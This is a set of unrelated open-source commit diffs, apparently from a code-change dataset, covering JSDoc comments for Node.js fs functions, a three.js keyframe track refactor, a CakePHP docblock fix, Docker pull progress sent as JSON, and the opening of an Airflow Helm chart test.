<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Creates a new link from the `existingPath`
<add> * to the `newPath`.
<add> * @param {string | Buffer | URL} existingPath
<add> * @param {string | Buffer | URL} newPath
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function link(existingPath, newPath, callback) {
<ide> callback = makeCallback(callback);
<ide>
<ide> function link(existingPath, newPath, callback) {
<ide> req);
<ide> }
<ide>
<add>/**
<add> * Synchronously creates a new link from the `existingPath`
<add> * to the `newPath`.
<add> * @param {string | Buffer | URL} existingPath
<add> * @param {string | Buffer | URL} newPath
<add> * @returns {void}
<add> */
<ide> function linkSync(existingPath, newPath) {
<ide> existingPath = getValidatedPath(existingPath, 'existingPath');
<ide> newPath = getValidatedPath(newPath, 'newPath');
<ide> function linkSync(existingPath, newPath) {
<ide> return result;
<ide> }
<ide>
<add>/**
<add> * Asynchronously removes a file or symbolic link.
<add> * @param {string | Buffer | URL} path
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function unlink(path, callback) {
<ide> callback = makeCallback(callback);
<ide> path = getValidatedPath(path);
<ide> function unlink(path, callback) {
<ide> binding.unlink(pathModule.toNamespacedPath(path), req);
<ide> }
<ide>
<add>/**
<add> * Synchronously removes a file or symbolic link.
<add> * @param {string | Buffer | URL} path
<add> * @returns {void}
<add> */
<ide> function unlinkSync(path) {
<ide> path = getValidatedPath(path);
<ide> const ctx = { path };
<ide> binding.unlink(pathModule.toNamespacedPath(path), undefined, ctx);
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Sets the permissions on the file.
<add> * @param {number} fd
<add> * @param {string | number} mode
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function fchmod(fd, mode, callback) {
<ide> fd = getValidatedFd(fd);
<ide> mode = parseFileMode(mode, 'mode');
<ide> function fchmod(fd, mode, callback) {
<ide> binding.fchmod(fd, mode, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously sets the permissions on the file.
<add> * @param {number} fd
<add> * @param {string | number} mode
<add> * @returns {void}
<add> */
<ide> function fchmodSync(fd, mode) {
<ide> fd = getValidatedFd(fd);
<ide> mode = parseFileMode(mode, 'mode');
<ide> function fchmodSync(fd, mode) {
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Changes the permissions on a symbolic link.
<add> * @param {string | Buffer | URL} path
<add> * @param {number} mode
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function lchmod(path, mode, callback) {
<ide> callback = maybeCallback(callback);
<ide> mode = parseFileMode(mode, 'mode');
<ide> function lchmod(path, mode, callback) {
<ide> });
<ide> }
<ide>
<add>/**
<add> * Synchronously changes the permissions on a symbolic link.
<add> * @param {string | Buffer | URL} path
<add> * @param {number} mode
<add> * @returns {void}
<add> */
<ide> function lchmodSync(path, mode) {
<ide> const fd = fs.openSync(path, O_WRONLY | O_SYMLINK);
<ide>
<ide> function lchmodSync(path, mode) {
<ide> return ret;
<ide> }
<ide>
<del>
<add>/**
<add> * Asynchronously changes the permissions of a file.
<add> * @param {string | Buffer | URL} path
<add> * @param {string | number} mode
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function chmod(path, mode, callback) {
<ide> path = getValidatedPath(path);
<ide> mode = parseFileMode(mode, 'mode');
<ide> function chmod(path, mode, callback) {
<ide> binding.chmod(pathModule.toNamespacedPath(path), mode, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously changes the permissions of a file.
<add> * @param {string | Buffer | URL} path
<add> * @param {string | number} mode
<add> * @returns {void}
<add> */
<ide> function chmodSync(path, mode) {
<ide> path = getValidatedPath(path);
<ide> mode = parseFileMode(mode, 'mode');
<ide> function chmodSync(path, mode) {
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Sets the owner of the symbolic link.
<add> * @param {string | Buffer | URL} path
<add> * @param {number} uid
<add> * @param {number} gid
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function lchown(path, uid, gid, callback) {
<ide> callback = makeCallback(callback);
<ide> path = getValidatedPath(path);
<ide> function lchown(path, uid, gid, callback) {
<ide> binding.lchown(pathModule.toNamespacedPath(path), uid, gid, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously sets the owner of the symbolic link.
<add> * @param {string | Buffer | URL} path
<add> * @param {number} uid
<add> * @param {number} gid
<add> * @returns {void}
<add> */
<ide> function lchownSync(path, uid, gid) {
<ide> path = getValidatedPath(path);
<ide> validateInteger(uid, 'uid', -1, kMaxUserId);
<ide> function lchownSync(path, uid, gid) {
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Sets the owner of the file.
<add> * @param {number} fd
<add> * @param {number} uid
<add> * @param {number} gid
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function fchown(fd, uid, gid, callback) {
<ide> fd = getValidatedFd(fd);
<ide> validateInteger(uid, 'uid', -1, kMaxUserId);
<ide> function fchown(fd, uid, gid, callback) {
<ide> binding.fchown(fd, uid, gid, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously sets the owner of the file.
<add> * @param {number} fd
<add> * @param {number} uid
<add> * @param {number} gid
<add> * @returns {void}
<add> */
<ide> function fchownSync(fd, uid, gid) {
<ide> fd = getValidatedFd(fd);
<ide> validateInteger(uid, 'uid', -1, kMaxUserId);
<ide> function fchownSync(fd, uid, gid) {
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Asynchronously changes the owner and group
<add> * of a file.
<add> * @param {string | Buffer | URL} path
<add> * @param {number} uid
<add> * @param {number} gid
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function chown(path, uid, gid, callback) {
<ide> callback = makeCallback(callback);
<ide> path = getValidatedPath(path);
<ide> function chown(path, uid, gid, callback) {
<ide> binding.chown(pathModule.toNamespacedPath(path), uid, gid, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously changes the owner and group
<add> * of a file.
<add> * @param {string | Buffer | URL} path
<add> * @param {number} uid
<add> * @param {number} gid
<add> * @returns {void}
<add> */
<ide> function chownSync(path, uid, gid) {
<ide> path = getValidatedPath(path);
<ide> validateInteger(uid, 'uid', -1, kMaxUserId);
<ide> function chownSync(path, uid, gid) {
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Changes the file system timestamps of the object
<add> * referenced by `path`.
<add> * @param {string | Buffer | URL} path
<add> * @param {number | string | Date} atime
<add> * @param {number | string | Date} mtime
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function utimes(path, atime, mtime, callback) {
<ide> callback = makeCallback(callback);
<ide> path = getValidatedPath(path);
<ide> function utimes(path, atime, mtime, callback) {
<ide> req);
<ide> }
<ide>
<add>/**
<add> * Synchronously changes the file system timestamps
<add> * of the object referenced by `path`.
<add> * @param {string | Buffer | URL} path
<add> * @param {number | string | Date} atime
<add> * @param {number | string | Date} mtime
<add> * @returns {void}
<add> */
<ide> function utimesSync(path, atime, mtime) {
<ide> path = getValidatedPath(path);
<ide> const ctx = { path };
<ide> function utimesSync(path, atime, mtime) {
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Changes the file system timestamps of the object
<add> * referenced by the supplied `fd` (file descriptor).
<add> * @param {number} fd
<add> * @param {number | string | Date} atime
<add> * @param {number | string | Date} mtime
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function futimes(fd, atime, mtime, callback) {
<ide> fd = getValidatedFd(fd);
<ide> atime = toUnixTimestamp(atime, 'atime');
<ide> function futimes(fd, atime, mtime, callback) {
<ide> binding.futimes(fd, atime, mtime, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously changes the file system timestamps
<add> * of the object referenced by the
<add> * supplied `fd` (file descriptor).
<add> * @param {number} fd
<add> * @param {number | string | Date} atime
<add> * @param {number | string | Date} mtime
<add> * @returns {void}
<add> */
<ide> function futimesSync(fd, atime, mtime) {
<ide> fd = getValidatedFd(fd);
<ide> atime = toUnixTimestamp(atime, 'atime');
<ide> function futimesSync(fd, atime, mtime) {
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Changes the access and modification times of
<add> * a file in the same way as `fs.utimes()`.
<add> * @param {string | Buffer | URL} path
<add> * @param {number | string | Date} atime
<add> * @param {number | string | Date} mtime
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function lutimes(path, atime, mtime, callback) {
<ide> callback = makeCallback(callback);
<ide> path = getValidatedPath(path);
<ide> function lutimes(path, atime, mtime, callback) {
<ide> req);
<ide> }
<ide>
<add>/**
<add> * Synchronously changes the access and modification
<add> * times of a file in the same way as `fs.utimesSync()`.
<add> * @param {string | Buffer | URL} path
<add> * @param {number | string | Date} atime
<add> * @param {number | string | Date} mtime
<add> * @returns {void}
<add> */
<ide> function lutimesSync(path, atime, mtime) {
<ide> path = getValidatedPath(path);
<ide> const ctx = { path };
<ide> function writeAll(fd, isUserFd, buffer, offset, length, signal, callback) {
<ide> });
<ide> }
<ide>
<add>/**
<add> * Asynchronously writes data to the file.
<add> * @param {string | Buffer | URL | number} path
<add> * @param {string | Buffer | TypedArray | DataView | Object} data
<add> * @param {{
<add> * encoding?: string | null;
<add> * mode?: number;
<add> * flag?: string;
<add> * signal?: AbortSignal;
<add> * } | string} [options]
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function writeFile(path, data, options, callback) {
<ide> callback = maybeCallback(callback || options);
<ide> options = getOptions(options, { encoding: 'utf8', mode: 0o666, flag: 'w' });
<ide> function writeFile(path, data, options, callback) {
<ide> });
<ide> }
<ide>
<add>/**
<add> * Synchronously writes data to the file.
<add> * @param {string | Buffer | URL | number} path
<add> * @param {string | Buffer | TypedArray | DataView | Object} data
<add> * @param {{
<add> * encoding?: string | null;
<add> * mode?: number;
<add> * flag?: string;
<add> * } | string} [options]
<add> * @returns {void}
<add> */
<ide> function writeFileSync(path, data, options) {
<ide> options = getOptions(options, { encoding: 'utf8', mode: 0o666, flag: 'w' });
<ide>
<ide> function writeFileSync(path, data, options) {
<ide> }
<ide> }
<ide>
<add>/**
<add> * Asynchronously appends data to a file.
<add> * @param {string | Buffer | URL | number} path
<add> * @param {string | Buffer} data
<add> * @param {{
<add> * encoding?: string | null;
<add> * mode?: number;
<add> * flag?: string;
<add> * } | string} [options]
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function appendFile(path, data, options, callback) {
<ide> callback = maybeCallback(callback || options);
<ide> options = getOptions(options, { encoding: 'utf8', mode: 0o666, flag: 'a' });
<ide> function appendFile(path, data, options, callback) {
<ide> fs.writeFile(path, data, options, callback);
<ide> }
<ide>
<add>/**
<add> * Synchronously appends data to a file.
<add> * @param {string | Buffer | URL | number} path
<add> * @param {string | Buffer} data
<add> * @param {{
<add> * encoding?: string | null;
<add> * mode?: number;
<add> * flag?: string;
<add> * } | string} [options]
<add> * @returns {void}
<add> */
<ide> function appendFileSync(path, data, options) {
<ide> options = getOptions(options, { encoding: 'utf8', mode: 0o666, flag: 'a' });
<ide>
<ide> function appendFileSync(path, data, options) {
<ide> fs.writeFileSync(path, data, options);
<ide> }
<ide>
<add>/**
<add> * Watches for the changes on `filename`.
<add> * @param {string | Buffer | URL} filename
<add> * @param {string | {
<add> * persistent?: boolean;
<add> * recursive?: boolean;
<add> * encoding?: string;
<add> * signal?: AbortSignal;
<add> * }} [options]
<add> * @param {(
<add> * eventType?: string,
<add> * filename?: string | Buffer
<add> * ) => any} [listener]
<add> * @returns {watchers.FSWatcher}
<add> */
<ide> function watch(filename, options, listener) {
<ide> if (typeof options === 'function') {
<ide> listener = options;
<ide> function watch(filename, options, listener) {
<ide>
<ide> const statWatchers = new SafeMap();
<ide>
<add>/**
<add> * Watches for changes on `filename`.
<add> * @param {string | Buffer | URL} filename
<add> * @param {{
<add> * bigint?: boolean;
<add> * persistent?: boolean;
<add> * interval?: number;
<add> * }} [options]
<add> * @param {(
<add> * current?: Stats,
<add> * previous?: Stats
<add> * ) => any} listener
<add> * @returns {watchers.StatWatcher}
<add> */
<ide> function watchFile(filename, options, listener) {
<ide> filename = getValidatedPath(filename);
<ide> filename = pathModule.resolve(filename);
<ide> function watchFile(filename, options, listener) {
<ide> return stat;
<ide> }
<ide>
<add>/**
<add> * Stops watching for changes on `filename`.
<add> * @param {string | Buffer | URL} filename
<add> * @param {() => any} [listener]
<add> * @returns {void}
<add> */
<ide> function unwatchFile(filename, listener) {
<ide> filename = getValidatedPath(filename);
<ide> filename = pathModule.resolve(filename);
<ide> if (isWindows) {
<ide> }
<ide>
<ide> const emptyObj = ObjectCreate(null);
<add>
<add>/**
<add> * Returns the resolved pathname.
<add> * @param {string | Buffer | URL} p
<add> * @param {string | { encoding?: string | null; }} [options]
<add> * @returns {string | Buffer}
<add> */
<ide> function realpathSync(p, options) {
<ide> options = getOptions(options, emptyObj);
<ide> p = toPathIfFileURL(p);
<ide> function realpathSync(p, options) {
<ide> return encodeRealpathResult(p, options);
<ide> }
<ide>
<del>
<add>/**
<add> * Returns the resolved pathname.
<add> * @param {string | Buffer | URL} p
<add> * @param {string | { encoding?: string; }} [options]
<add> * @returns {string | Buffer}
<add> */
<ide> realpathSync.native = (path, options) => {
<ide> options = getOptions(options, {});
<ide> path = getValidatedPath(path);
<ide> realpathSync.native = (path, options) => {
<ide> return result;
<ide> };
<ide>
<del>
<add>/**
<add> * Asynchronously computes the canonical pathname by
<add> * resolving `.`, `..` and symbolic links.
<add> * @param {string | Buffer | URL} p
<add> * @param {string | { encoding?: string; }} [options]
<add> * @param {(
<add> * err?: Error,
<add> * resolvedPath?: string | Buffer
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function realpath(p, options, callback) {
<ide> callback = typeof options === 'function' ? options : maybeCallback(callback);
<ide> options = getOptions(options, {});
<ide> function realpath(p, options, callback) {
<ide> }
<ide> }
<ide>
<del>
<add>/**
<add> * Asynchronously computes the canonical pathname by
<add> * resolving `.`, `..` and symbolic links.
<add> * @param {string | Buffer | URL} p
<add> * @param {string | { encoding?: string; }} [options]
<add> * @param {(
<add> * err?: Error,
<add> * resolvedPath?: string | Buffer
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> realpath.native = (path, options, callback) => {
<ide> callback = makeCallback(callback || options);
<ide> options = getOptions(options, {});
<ide> realpath.native = (path, options, callback) => {
<ide> return binding.realpath(path, options.encoding, req);
<ide> };
<ide>
<add>/**
<add> * Creates a unique temporary directory.
<add> * @param {string} prefix
<add> * @param {string | { encoding?: string; }} [options]
<add> * @param {(
<add> * err?: Error,
<add> * directory?: string
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function mkdtemp(prefix, options, callback) {
<ide> callback = makeCallback(typeof options === 'function' ? options : callback);
<ide> options = getOptions(options, {});
<ide> function mkdtemp(prefix, options, callback) {
<ide> binding.mkdtemp(`${prefix}XXXXXX`, options.encoding, req);
<ide> }
<ide>
<del>
<add>/**
<add> * Synchronously creates a unique temporary directory.
<add> * @param {string} prefix
<add> * @param {string | { encoding?: string; }} [options]
<add> * @returns {string}
<add> */
<ide> function mkdtempSync(prefix, options) {
<ide> options = getOptions(options, {});
<ide> if (!prefix || typeof prefix !== 'string') {
<ide> function mkdtempSync(prefix, options) {
<ide> return result;
<ide> }
<ide>
<del>
<add>/**
<add> * Asynchronously copies `src` to `dest`. By
<add> * default, `dest` is overwritten if it already exists.
<add> * @param {string | Buffer | URL} src
<add> * @param {string | Buffer | URL} dest
<add> * @param {number} [mode]
<add> * @param {() => any} callback
<add> * @returns {void}
<add> */
<ide> function copyFile(src, dest, mode, callback) {
<ide> if (typeof mode === 'function') {
<ide> callback = mode;
<ide> function copyFile(src, dest, mode, callback) {
<ide> binding.copyFile(src, dest, mode, req);
<ide> }
<ide>
<del>
<add>/**
<add> * Synchronously copies `src` to `dest`. By
<add> * default, `dest` is overwritten if it already exists.
<add> * @param {string | Buffer | URL} src
<add> * @param {string | Buffer | URL} dest
<add> * @param {number} [mode]
<add> * @returns {void}
<add> */
<ide> function copyFileSync(src, dest, mode) {
<ide> src = getValidatedPath(src, 'src');
<ide> dest = getValidatedPath(dest, 'dest');
<ide> function lazyLoadStreams() {
<ide> }
<ide> }
<ide>
<add>/**
<add> * Creates a readable stream with a default `highWaterMark`
<add> * of 64 kb.
<add> * @param {string | Buffer | URL} path
<add> * @param {string | {
<add> * flags?: string;
<add> * encoding?: string;
<add> * fd?: number | FileHandle;
<add> * mode?: number;
<add> * autoClose?: boolean;
<add> * emitClose?: boolean;
<add> * start: number;
<add> * end?: number;
<add> * highWaterMark?: number;
<add> * fs?: Object | null;
<add> * }} [options]
<add> * @returns {ReadStream}
<add> */
<ide> function createReadStream(path, options) {
<ide> lazyLoadStreams();
<ide> return new ReadStream(path, options);
<ide> }
<ide>
<add>/**
<add> * Creates a write stream.
<add> * @param {string | Buffer | URL} path
<add> * @param {string | {
<add> * flags?: string;
<add> * encoding?: string;
<add> * fd?: number | FileHandle;
<add> * mode?: number;
<add> * autoClose?: boolean;
<add> * emitClose?: boolean;
<add> * start: number;
<add> * fs?: Object | null;
<add> * }} [options]
<add> * @returns {WriteStream}
<add> */
<ide> function createWriteStream(path, options) {
<ide> lazyLoadStreams();
<ide> return new WriteStream(path, options); | 1 |
Javascript | Javascript | update colorkeyframetrack inheritance | 666923ebb40cf9c32cdb806203ce90f8484d745f | <ide><path>src/animation/tracks/ColorKeyframeTrack.js
<del>import { KeyframeTrackPrototype } from '../KeyframeTrackPrototype.js';
<del>import { KeyframeTrackConstructor } from '../KeyframeTrackConstructor.js';
<add>import { KeyframeTrack } from '../KeyframeTrack.js';
<ide>
<ide> /**
<ide> *
<ide> import { KeyframeTrackConstructor } from '../KeyframeTrackConstructor.js';
<ide>
<ide> function ColorKeyframeTrack( name, times, values, interpolation ) {
<ide>
<del> KeyframeTrackConstructor.call( this, name, times, values, interpolation );
<add> KeyframeTrack.call( this, name, times, values, interpolation );
<ide>
<ide> }
<ide>
<del>ColorKeyframeTrack.prototype = Object.assign( Object.create( KeyframeTrackPrototype ), {
<add>ColorKeyframeTrack.prototype = Object.assign( Object.create( KeyframeTrack.prototype ), {
<ide>
<ide> constructor: ColorKeyframeTrack,
<ide> | 1 |
PHP | PHP | fix api documentation of formatresults() | 1e6018f97841eb4e187f551ac85fc7f2d26dae63 | <ide><path>src/Datasource/QueryTrait.php
<ide> use BadMethodCallException;
<ide> use Cake\Collection\Iterator\MapReduce;
<ide> use Cake\Datasource\Exception\RecordNotFoundException;
<del>use Cake\Datasource\ResultSetDecorator;
<ide>
<ide> /**
<ide> * Contains the characteristics for an object that is attached to a repository and
<ide> public function getMapReducers()
<ide> * Registers a new formatter callback function that is to be executed when trying
<ide> * to fetch the results from the database.
<ide> *
<del> * Formatting callbacks will get a first parameter, a `ResultSetDecorator`, that
<del> * can be traversed and modified at will.
<add> * Formatting callbacks will get a first parameter, an object implementing
<add> * `\Cake\Collection\CollectionInterface`, that can be traversed and modified at will.
<ide> *
<ide> * Callbacks are required to return an iterator object, which will be used as
<ide> * the return value for this query's result. Formatter functions are applied | 1 |
Go | Go | send push/pull progress bar as json | 9775f0bd145c607126ea22a17b291dea822be7b2 | <ide><path>api.go
<ide> import (
<ide> "strings"
<ide> )
<ide>
<del>const API_VERSION = 1.0
<add>const API_VERSION = 1.1
<ide>
<ide> func hijackServer(w http.ResponseWriter) (io.ReadCloser, io.Writer, error) {
<ide> conn, _, err := w.(http.Hijacker).Hijack()
<ide> func postImagesCreate(srv *Server, version float64, w http.ResponseWriter, r *ht
<ide>
<ide> if image != "" { //pull
<ide> registry := r.Form.Get("registry")
<del> if err := srv.ImagePull(image, tag, registry, w); err != nil {
<add> if version > 1.0 {
<add> w.Header().Set("Content-Type", "application/json")
<add> }
<add> if err := srv.ImagePull(image, tag, registry, w, version > 1.0); err != nil {
<ide> return err
<ide> }
<ide> } else { //import
<ide><path>commands.go
<ide> func (cli *DockerCli) stream(method, path string, in io.Reader, out io.Writer) e
<ide> return fmt.Errorf("error: %s", body)
<ide> }
<ide>
<del> if _, err := io.Copy(out, resp.Body); err != nil {
<del> return err
<add> if resp.Header.Get("Content-Type") == "application/json" {
<add> type Message struct {
<add> Status string `json:"status,omitempty"`
<add> Progress string `json:"progress,omitempty"`
<add> }
<add> dec := json.NewDecoder(resp.Body)
<add> for {
<add> var m Message
<add> if err := dec.Decode(&m); err == io.EOF {
<add> break
<add> } else if err != nil {
<add> return err
<add> }
<add> if m.Progress != "" {
<add> fmt.Fprintf(out, "Downloading %s\r", m.Progress)
<add> } else {
<add> fmt.Fprintf(out, "%s\n", m.Status)
<add> }
<add> }
<add> } else {
<add> if _, err := io.Copy(out, resp.Body); err != nil {
<add> return err
<add> }
<ide> }
<ide> return nil
<ide> }
<ide><path>graph.go
<ide> func (graph *Graph) TempLayerArchive(id string, compression Compression, output
<ide> if err != nil {
<ide> return nil, err
<ide> }
<del> return NewTempArchive(utils.ProgressReader(ioutil.NopCloser(archive), 0, output, "Buffering to disk %v/%v (%v)"), tmp.Root)
<add> return NewTempArchive(utils.ProgressReader(ioutil.NopCloser(archive), 0, output, "Buffering to disk %v/%v (%v)", false), tmp.Root)
<ide> }
<ide>
<ide> // Mktemp creates a temporary sub-directory inside the graph's filesystem.
<ide><path>server.go
<ide> func (srv *Server) ImageInsert(name, url, path string, out io.Writer) error {
<ide> return err
<ide> }
<ide>
<del> if err := c.Inject(utils.ProgressReader(file.Body, int(file.ContentLength), out, "Downloading %v/%v (%v)"), path); err != nil {
<add> if err := c.Inject(utils.ProgressReader(file.Body, int(file.ContentLength), out, "Downloading %v/%v (%v)\r", false), path); err != nil {
<ide> return err
<ide> }
<ide> // FIXME: Handle custom repo, tag comment, author
<ide> func (srv *Server) ContainerTag(name, repo, tag string, force bool) error {
<ide> return nil
<ide> }
<ide>
<del>func (srv *Server) pullImage(out io.Writer, imgId, registry string, token []string) error {
<del> out = utils.NewWriteFlusher(out)
<add>func (srv *Server) pullImage(out io.Writer, imgId, registry string, token []string, json bool) error {
<ide> history, err := srv.registry.GetRemoteHistory(imgId, registry, token)
<ide> if err != nil {
<ide> return err
<ide> func (srv *Server) pullImage(out io.Writer, imgId, registry string, token []stri
<ide> // FIXME: Launch the getRemoteImage() in goroutines
<ide> for _, id := range history {
<ide> if !srv.runtime.graph.Exists(id) {
<del> fmt.Fprintf(out, "Pulling %s metadata\r\n", id)
<add> fmt.Fprintf(out, utils.FormatStatus("Pulling %s metadata", json), id)
<ide> imgJson, err := srv.registry.GetRemoteImageJson(id, registry, token)
<ide> if err != nil {
<ide> // FIXME: Keep goging in case of error?
<ide> func (srv *Server) pullImage(out io.Writer, imgId, registry string, token []stri
<ide> }
<ide>
<ide> // Get the layer
<del> fmt.Fprintf(out, "Pulling %s fs layer\r\n", img.Id)
<add> fmt.Fprintf(out, utils.FormatStatus("Pulling %s fs layer", json), id)
<ide> layer, contentLength, err := srv.registry.GetRemoteImageLayer(img.Id, registry, token)
<ide> if err != nil {
<ide> return err
<ide> }
<del> if err := srv.runtime.graph.Register(utils.ProgressReader(layer, contentLength, out, "Downloading %v/%v (%v)"), false, img); err != nil {
<add> if err := srv.runtime.graph.Register(utils.ProgressReader(layer, contentLength, out, utils.FormatProgress("%v/%v (%v)", json), json), false, img); err != nil {
<ide> return err
<ide> }
<ide> }
<ide> }
<ide> return nil
<ide> }
<ide>
<del>func (srv *Server) pullRepository(out io.Writer, remote, askedTag string) error {
<del> out = utils.NewWriteFlusher(out)
<del> fmt.Fprintf(out, "Pulling repository %s from %s\r\n", remote, auth.IndexServerAddress())
<add>func (srv *Server) pullRepository(out io.Writer, remote, askedTag string, json bool) error {
<add> fmt.Fprintf(out, utils.FormatStatus("Pulling repository %s from %s", json), remote, auth.IndexServerAddress())
<ide> repoData, err := srv.registry.GetRepositoryData(remote)
<ide> if err != nil {
<ide> return err
<ide> func (srv *Server) pullRepository(out io.Writer, remote, askedTag string) error
<ide> utils.Debugf("(%s) does not match %s (id: %s), skipping", img.Tag, askedTag, img.Id)
<ide> continue
<ide> }
<del> fmt.Fprintf(out, "Pulling image %s (%s) from %s\n", img.Id, img.Tag, remote)
<add> fmt.Fprintf(out, utils.FormatStatus("Pulling image %s (%s) from %s", json), img.Id, img.Tag, remote)
<ide> success := false
<ide> for _, ep := range repoData.Endpoints {
<del> if err := srv.pullImage(out, img.Id, "https://"+ep+"/v1", repoData.Tokens); err != nil {
<del> fmt.Fprintf(out, "Error while retrieving image for tag: %s (%s); checking next endpoint\n", askedTag, err)
<add> if err := srv.pullImage(out, img.Id, "https://"+ep+"/v1", repoData.Tokens, json); err != nil {
<add> fmt.Fprintf(out, utils.FormatStatus("Error while retrieving image for tag: %s (%s); checking next endpoint\n", json), askedTag, err)
<ide> continue
<ide> }
<ide> success = true
<ide> func (srv *Server) pullRepository(out io.Writer, remote, askedTag string) error
<ide> return nil
<ide> }
<ide>
<del>func (srv *Server) ImagePull(name, tag, registry string, out io.Writer) error {
<add>func (srv *Server) ImagePull(name, tag, registry string, out io.Writer, json bool) error {
<add> out = utils.NewWriteFlusher(out)
<ide> if registry != "" {
<del> if err := srv.pullImage(out, name, registry, nil); err != nil {
<add> if err := srv.pullImage(out, name, registry, nil, json); err != nil {
<ide> return err
<ide> }
<ide> return nil
<ide> }
<ide>
<del> if err := srv.pullRepository(out, name, tag); err != nil {
<add> if err := srv.pullRepository(out, name, tag, json); err != nil {
<ide> return err
<ide> }
<ide>
<ide> func (srv *Server) pushImage(out io.Writer, remote, imgId, ep string, token []st
<ide> }
<ide>
<ide> // Send the layer
<del> if err := srv.registry.PushImageLayerRegistry(imgData.Id, utils.ProgressReader(layerData, int(layerData.Size), out, ""), ep, token); err != nil {
<add> if err := srv.registry.PushImageLayerRegistry(imgData.Id, utils.ProgressReader(layerData, int(layerData.Size), out, "", false), ep, token); err != nil {
<ide> return err
<ide> }
<ide> return nil
<ide> func (srv *Server) ImageImport(src, repo, tag string, in io.Reader, out io.Write
<ide> if err != nil {
<ide> return err
<ide> }
<del> archive = utils.ProgressReader(resp.Body, int(resp.ContentLength), out, "Importing %v/%v (%v)")
<add> archive = utils.ProgressReader(resp.Body, int(resp.ContentLength), out, "Importing %v/%v (%v)\r", false)
<ide> }
<ide> img, err := srv.runtime.graph.Create(archive, nil, "Imported from "+src, "", nil)
<ide> if err != nil {
<ide><path>utils/utils.go
<ide> type progressReader struct {
<ide> readProgress int // How much has been read so far (bytes)
<ide> lastUpdate int // How many bytes read at least update
<ide> template string // Template to print. Default "%v/%v (%v)"
<add> json bool
<ide> }
<ide>
<ide> func (r *progressReader) Read(p []byte) (n int, err error) {
<ide> func (r *progressReader) Read(p []byte) (n int, err error) {
<ide> }
<ide> if r.readProgress-r.lastUpdate > updateEvery || err != nil {
<ide> if r.readTotal > 0 {
<del> fmt.Fprintf(r.output, r.template+"\r", r.readProgress, r.readTotal, fmt.Sprintf("%.0f%%", float64(r.readProgress)/float64(r.readTotal)*100))
<add> fmt.Fprintf(r.output, r.template, r.readProgress, r.readTotal, fmt.Sprintf("%.0f%%", float64(r.readProgress)/float64(r.readTotal)*100))
<ide> } else {
<del> fmt.Fprintf(r.output, r.template+"\r", r.readProgress, "?", "n/a")
<add> fmt.Fprintf(r.output, r.template, r.readProgress, "?", "n/a")
<ide> }
<ide> r.lastUpdate = r.readProgress
<ide> }
<ide> // Send newline when complete
<ide> if err != nil {
<del> fmt.Fprintf(r.output, "\n")
<add> fmt.Fprintf(r.output, FormatStatus("", r.json))
<ide> }
<ide>
<ide> return read, err
<ide> }
<ide> func (r *progressReader) Close() error {
<ide> return io.ReadCloser(r.reader).Close()
<ide> }
<del>func ProgressReader(r io.ReadCloser, size int, output io.Writer, template string) *progressReader {
<del> if template == "" {
<del> template = "%v/%v (%v)"
<add>func ProgressReader(r io.ReadCloser, size int, output io.Writer, template string, json bool) *progressReader {
<add> if template == "" {
<add> template = "%v/%v (%v)\r"
<ide> }
<del> return &progressReader{r, NewWriteFlusher(output), size, 0, 0, template}
<add> return &progressReader{r, NewWriteFlusher(output), size, 0, 0, template, json}
<ide> }
<ide>
<ide> // HumanDuration returns a human-readable approximation of a duration
<ide> func NewWriteFlusher(w io.Writer) *WriteFlusher {
<ide> }
<ide> return &WriteFlusher{w: w, flusher: flusher}
<ide> }
<add>
<add>func FormatStatus(str string, json bool) string {
<add> if json {
<add> return "{\"status\" : \"" + str + "\"}"
<add> }
<add> return str + "\r\n"
<add>}
<add>
<add>func FormatProgress(str string, json bool) string {
<add> if json {
<add> return "{\"progress\" : \"" + str + "\"}"
<add> }
<add> return "Downloading " + str + "\r"
<add>}
<add>
<add> | 5 |
Python | Python | add test for the create user job in helm chart | 18531f81848dbd8d8a0d25b9f26988500a27e2a7 | <ide><path>chart/tests/test_create_user_job.py
<add># Licensed to the Apache Software Foundation (ASF) under one
<add># or more contributor license agreements. See the NOTICE file
<add># distributed with this work for additional information
<add># regarding copyright ownership. The ASF licenses this file
<add># to you under the Apache License, Version 2.0 (the
<add># "License"); you may not use this file except in compliance
<add># with the License. You may obtain a copy of the License at
<add>#
<add># http://www.apache.org/licenses/LICENSE-2.0
<add>#
<add># Unless required by applicable law or agreed to in writing,
<add># software distributed under the License is distributed on an
<add># "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
<add># KIND, either express or implied. See the License for the
<add># specific language governing permissions and limitations
<add># under the License.
<add>
<add>import unittest
<add>
